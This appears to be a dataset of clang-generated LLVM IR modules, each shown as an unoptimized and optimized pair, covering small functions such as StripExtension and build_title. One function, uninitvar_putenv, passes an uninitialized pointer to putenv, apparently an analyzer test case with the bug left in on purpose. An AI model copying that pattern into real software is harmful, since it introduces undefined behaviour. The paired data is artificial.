attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpf0rpomqk.c'
source_filename = "/tmp/tmpf0rpomqk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @config_dogechat_notify_change_cb(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
%5 = load ptr, ptr %3, align 8
%6 = load ptr, ptr %4, align 8
%7 = call i32 (...) @gui_buffer_notify_set_all()
ret void
}
declare i32 @gui_buffer_notify_set_all(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpf0rpomqk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @config_dogechat_notify_change_cb(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
%5 = load ptr, ptr %3, align 8
%6 = load ptr, ptr %4, align 8
%7 = call i32 (...) @gui_buffer_notify_set_all()
ret void
}
declare i32 @gui_buffer_notify_set_all(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpijm1clm9.c'
source_filename = "/tmp/tmpijm1clm9.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@M_PI = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpijm1clm9.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@M_PI = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmplka2mwh3.c'
source_filename = "/tmp/tmplka2mwh3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@O_RDONLY = dso_local global i32 0, align 4
@SEEK_SET = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmplka2mwh3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@O_RDONLY = dso_local global i32 0, align 4
@SEEK_SET = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp_se5pni1.c'
source_filename = "/tmp/tmp_se5pni1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [13 x i8] c"FormatString\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @build_title(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @options_get_str(ptr noundef @.str)
%5 = call ptr @build_title_with_format(ptr noundef %3, i32 noundef %4)
ret ptr %5
}
declare ptr @build_title_with_format(ptr noundef, i32 noundef) #1
declare i32 @options_get_str(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp_se5pni1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [13 x i8] c"FormatString\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @build_title(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @options_get_str(ptr noundef @.str)
%5 = call ptr @build_title_with_format(ptr noundef %3, i32 noundef %4)
ret ptr %5
}
declare ptr @build_title_with_format(ptr noundef, i32 noundef) #1
declare i32 @options_get_str(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpd__8hyc4.c'
source_filename = "/tmp/tmpd__8hyc4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: alwaysinline nounwind sspstrong uwtable
define weak dso_local i32 @softboundmpx_mkdirat(i32 noundef %0, ptr noundef %1, i32 noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store i32 %2, ptr %6, align 4
%7 = load i32, ptr %4, align 4
%8 = load ptr, ptr %5, align 8
%9 = load i32, ptr %6, align 4
%10 = call i32 @mkdirat(i32 noundef %7, ptr noundef %8, i32 noundef %9)
ret i32 %10
}
declare i32 @mkdirat(i32 noundef, ptr noundef, i32 noundef) #1
attributes #0 = { alwaysinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpd__8hyc4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: alwaysinline nounwind sspstrong uwtable
define weak dso_local i32 @softboundmpx_mkdirat(i32 noundef %0, ptr noundef %1, i32 noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store i32 %2, ptr %6, align 4
%7 = load i32, ptr %4, align 4
%8 = load ptr, ptr %5, align 8
%9 = load i32, ptr %6, align 4
%10 = call i32 @mkdirat(i32 noundef %7, ptr noundef %8, i32 noundef %9)
ret i32 %10
}
declare i32 @mkdirat(i32 noundef, ptr noundef, i32 noundef) #1
attributes #0 = { alwaysinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp4p4uxb28.c'
source_filename = "/tmp/tmp4p4uxb28.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @uninitvar_putenv(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = call i32 @putenv(ptr noundef %4)
%6 = load ptr, ptr %3, align 8
%7 = call i32 @putenv(ptr noundef %6)
ret void
}
declare i32 @putenv(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp4p4uxb28.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @uninitvar_putenv(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = call i32 @putenv(ptr noundef %4)
%6 = load ptr, ptr %3, align 8
%7 = call i32 @putenv(ptr noundef %6)
ret void
}
declare i32 @putenv(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpv31s58tb.c'
source_filename = "/tmp/tmpv31s58tb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = call i32 (...) @test1()
%2 = call i32 (...) @test2()
%3 = call i32 (...) @test3()
ret i32 0
}
declare i32 @test1(...) #1
declare i32 @test2(...) #1
declare i32 @test3(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpv31s58tb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = call i32 (...) @test1()
%2 = call i32 (...) @test2()
%3 = call i32 (...) @test3()
ret i32 0
}
declare i32 @test1(...) #1
declare i32 @test2(...) #1
declare i32 @test3(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpfdfcbf0n.c'
source_filename = "/tmp/tmpfdfcbf0n.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @sl_pp_process_if(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
%5 = load ptr, ptr %3, align 8
%6 = load ptr, ptr %4, align 8
%7 = call i32 @_parse_if(ptr noundef %5, ptr noundef %6)
ret i32 %7
}
declare i32 @_parse_if(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpfdfcbf0n.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @sl_pp_process_if(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
%5 = load ptr, ptr %3, align 8
%6 = load ptr, ptr %4, align 8
%7 = call i32 @_parse_if(ptr noundef %5, ptr noundef %6)
ret i32 %7
}
declare i32 @_parse_if(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpj95yjfi5.c'
source_filename = "/tmp/tmpj95yjfi5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @StripExtension(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
store ptr %0, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = call i32 @strlen(ptr noundef %4)
%6 = sub nsw i32 %5, 1
store i32 %6, ptr %3, align 4
br label %7
7: ; preds = %31, %1
%8 = load i32, ptr %3, align 4
%9 = icmp sgt i32 %8, 0
br i1 %9, label %10, label %18
10: ; preds = %7
%11 = load ptr, ptr %2, align 8
%12 = load i32, ptr %3, align 4
%13 = sext i32 %12 to i64
%14 = getelementptr inbounds i8, ptr %11, i64 %13
%15 = load i8, ptr %14, align 1
%16 = sext i8 %15 to i32
%17 = icmp ne i32 %16, 46
br label %18
18: ; preds = %10, %7
%19 = phi i1 [ false, %7 ], [ %17, %10 ]
br i1 %19, label %20, label %32
20: ; preds = %18
%21 = load i32, ptr %3, align 4
%22 = add nsw i32 %21, -1
store i32 %22, ptr %3, align 4
%23 = load ptr, ptr %2, align 8
%24 = load i32, ptr %3, align 4
%25 = sext i32 %24 to i64
%26 = getelementptr inbounds i8, ptr %23, i64 %25
%27 = load i8, ptr %26, align 1
%28 = sext i8 %27 to i32
%29 = icmp eq i32 %28, 47
br i1 %29, label %30, label %31
30: ; preds = %20
br label %40
31: ; preds = %20
br label %7, !llvm.loop !6
32: ; preds = %18
%33 = load i32, ptr %3, align 4
%34 = icmp ne i32 %33, 0
br i1 %34, label %35, label %40
35: ; preds = %32
%36 = load ptr, ptr %2, align 8
%37 = load i32, ptr %3, align 4
%38 = sext i32 %37 to i64
%39 = getelementptr inbounds i8, ptr %36, i64 %38
store i8 0, ptr %39, align 1
br label %40
40: ; preds = %30, %35, %32
ret void
}
declare i32 @strlen(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpj95yjfi5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @StripExtension(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
store ptr %0, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = call i32 @strlen(ptr noundef %4)
%6 = sub nsw i32 %5, 1
store i32 %6, ptr %3, align 4
br label %7
7: ; preds = %20, %1
%8 = load i32, ptr %3, align 4
%9 = icmp sgt i32 %8, 0
br i1 %9, label %10, label %18
10: ; preds = %7
%11 = load ptr, ptr %2, align 8
%12 = load i32, ptr %3, align 4
%13 = sext i32 %12 to i64
%14 = getelementptr inbounds i8, ptr %11, i64 %13
%15 = load i8, ptr %14, align 1
%16 = sext i8 %15 to i32
%17 = icmp ne i32 %16, 46
br label %18
18: ; preds = %10, %7
%19 = phi i1 [ false, %7 ], [ %17, %10 ]
br i1 %19, label %20, label %31
20: ; preds = %18
%21 = load i32, ptr %3, align 4
%22 = add nsw i32 %21, -1
store i32 %22, ptr %3, align 4
%23 = load ptr, ptr %2, align 8
%24 = load i32, ptr %3, align 4
%25 = sext i32 %24 to i64
%26 = getelementptr inbounds i8, ptr %23, i64 %25
%27 = load i8, ptr %26, align 1
%28 = sext i8 %27 to i32
%29 = icmp eq i32 %28, 47
br i1 %29, label %30, label %7, !llvm.loop !6
30: ; preds = %20
br label %39
31: ; preds = %18
%32 = load i32, ptr %3, align 4
%33 = icmp ne i32 %32, 0
br i1 %33, label %34, label %39
34: ; preds = %31
%35 = load ptr, ptr %2, align 8
%36 = load i32, ptr %3, align 4
%37 = sext i32 %36 to i64
%38 = getelementptr inbounds i8, ptr %35, i64 %37
store i8 0, ptr %38, align 1
br label %39
39: ; preds = %34, %31, %30
ret void
}
declare i32 @strlen(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp45s_rp1p.c'
source_filename = "/tmp/tmp45s_rp1p.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@EXIT_FAILURE = dso_local global i32 0, align 4
@O_CREAT = dso_local global i32 0, align 4
@O_RDWR = dso_local global i32 0, align 4
@O_TRUNC = dso_local global i32 0, align 4
@stderr = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
